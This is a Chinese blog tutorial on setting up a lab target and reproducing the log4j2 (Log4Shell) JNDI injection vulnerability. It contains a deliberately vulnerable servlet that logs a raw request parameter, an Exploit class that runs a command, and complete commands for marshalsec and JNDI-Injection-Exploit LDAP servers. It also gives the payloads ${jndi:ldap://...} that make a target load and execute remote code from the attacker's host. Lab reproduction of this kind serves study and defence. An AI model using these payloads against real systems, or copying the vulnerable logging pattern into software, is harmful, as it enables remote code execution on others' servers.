IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> log4J2靶机搭建和漏洞复现 -> 正文阅读

[Java知识库]log4J2靶机搭建和漏洞复现

log4J2靶机搭建和漏洞复现

漏洞原理

log4j2是Java技术栈中用的比较多的日志输出框架,允许输出其他文件或者网络位置中的Java对象,这是漏洞的基础。

log4j2通过 lookup 方法查找其他路径的数据,支持JDNI、Web、Event等多种查找途径。JNDI(Java Naming and Directory Interface,JAVA命名和目录接口)是一个目录系统,将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

而JNDI又支持LDAP、RMI、DNS等不同方式的数据来源,通过LDAP、RMI两种方式可以提供其他网络位置的数据。因此,可以在远程服务器上构建恶意类,通过JNDI注入到目标服务器上,达到执行任意命令的目的。

具体实现过程是:
通过logger.error(name)语句,可以将 name 指代的内容打印到日志中。当name满足name=${ }形式时,会先解析{ }中的内容,如果内容为${jndi:ldap://evilIP/ClassName},则lookup方法会先解析这是jndi方式,然后jndi继续解析这是ldap协议,然后去到//evilIP所在的网络位置去加载ClassName类,造成ClassName的内容被执行。这就是log4j2漏洞的原理,因此最简单的复现就是写一段包含logger.error(“${jndi:ldap://evilIP/ClassName}”)的Java代码。
name是通过name = request.getParameter("aaa")获取到的用户传入的参数时,如果构造形如aaa=${jndi:ldap://evilIP/ClassName}的输入,就可以在服务器上执行用户在ClassName中定义的操作,达到攻击的目的。本文也按照这个思路复现。

详细的原理可以参考核弹级漏洞!我把log4j扒给你看

漏洞复现

靶机搭建

靶机需要运行版本符合的Java web服务,并启用了log4j2,而且会将某些来自用户的请求打印到日志中。网站的部署具体可以参考Log4j2漏洞复现,这里不具体讲。本文选用的环境为:

  • win10,jdk-8u181,tomcat9,log4j-2.14.0

具体的环境没有要求,但要注意jdk的版本,jdk1.8_191后的版本无法触发漏洞。

在web服务中编写包含漏洞的类log4j2Servlet

import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * Servlet implementation class log4j2Servlet
 */
@WebServlet("/log4j2Servlet")
public class log4j2Servlet extends HttpServlet {
	private static final long serialVersionUID = 1L;
	private static final Logger logger = LogManager.getLogger(log4j2Servlet.class);
       
    /**
     * @see HttpServlet#HttpServlet()
     */
    public log4j2Servlet() {
        super();
        // TODO Auto-generated constructor stub
    }

	/**
	 * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
	 */
	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
        response.setContentType("text/html");
        response.setHeader("Content-Type", "text/html; charset=utf-8");
        System.out.println(request.getQueryString());

        // Hello
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>Hello World!</h1>");
        out.println("</body></html>");
	}

	/**
	 * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
	 */
	protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
        String name = request.getParameter("aaa");
        logger.error(name);
        response.setContentType("text/html");
        response.setHeader("Content-Type", "text/html; charset=utf-8");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>Got it!</h1>");
        out.println("</body></html>");
	}
}

大部分为通用代码,关键代码为:

        String name = request.getParameter("aaa");
        logger.error(name);

当用户通过post请求这个资源时, 比如本文的地址为:http://192.168.220.145:8086/log4j2pro/log4j2Servlet(8086为网站运行的端口,log4j2pro为网站项目的名称),会将aaa后面的参数通过logger.error打印到日志中。

我们通过DNSlog测试该漏洞是否生效,在dnslog网站申请一个域名得到jj74zc.dnslog.cn,构造payload:${jndi:ldap://jj74zc.dnslog.cn/exp},然后使用burpsuit向目标发送post请求:
上传paylod
成功得到回显,拿到了服务器的IP地址,证明漏洞可以生效。
回显成功

攻击环境配置和实施

前面提到了执行恶意操作需要加载远程LDAP服务上的恶意类,因此需要搭建恶意LDAP服务。搭建LDAP服务有两种方式,

  • java 反序列化利用工具:marshalsec
  • JNDI注入插件:JNDI-Injection-Exploit

1. 通过marshalsec

使用marshalsec需要自己定义恶意类,并搭建恶意类下载的网络路径,比如我们编写如下Java类,该类被执行时会打开系统上的计算器:

public class Exploit {
    public Exploit(){
        try{
            String[] commands = {"calc.exe"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}

然后通过Javac将其编译成.class类型的文件,以用于目标服务器加载:

 javac Exploit.java

然后在Exploit.class所在的目录下通过python启用一个web,以供这个类的下载:
启动web
进行访问,正常:
在这里插入图片描述
192.168.1.8为我们攻击机的地址。这样就提供了一个可以在网络位置访问的恶意类。

下载marshalsec并解压,然后在marshalsec根目录下,执行以下命令,通过maven工具将marshalsec打包成jar包:

mvn clean package -DskipTests

然后会在target目录下生成我们需要的marshalsec-0.0.1-SNAPSHOT-all.jar包,也可以直接下载已经打包好的

然后执行以下命令,将我们刚才搭建的下载地址映射到LDAP服务地址:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.8:8880/#Exploit"

可以看到,在本机地址的1389端口开启了LDAP:
在这里插入图片描述
因此,向服务器注入payload${jndi:ldap://192.168.1.8:1389/Exploit}时,就会加载恶意类Exploit

通过burpsuit向服务器注入构造的payload:
在这里插入图片描述
可以看到目标机器上成功打开了计算机,日志中也显示了我们的攻击载荷:
在这里插入图片描述

对应的,LDAP服务和python web日志中都显示了该类被请求的记录:
在这里插入图片描述
在这里插入图片描述

2 通过JNDI-Injection-Exploit

JNDI-Injection-Exploit是编辑好的用于JNDI注入的包,因此实施更简单一些。首先下载JNDI-Injection-Exploit,然后进入根目录打包成jar包:

mvn clean package -DskipTests

同样在target目录下生成我们需要的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar包,然后执行以下命令,开启LDAP服务,并指定我们需要运行的命令和LDAP服务的地址:

java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "192.168.1.8"

c后面为需要运行的指令,A为服务地址。可以看到在//192.168.1.8:1389/sqbedo路径下开启了ldap服务:
在这里插入图片描述
所以攻击载荷为${jndi:ldap://192.168.1.8:1389/sqbedo}

用burpsuit发送请求,同样执行成功:
在这里插入图片描述在这里插入图片描述

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2022-01-17 11:22:16  更:2022-01-17 11:24:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 9:39:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码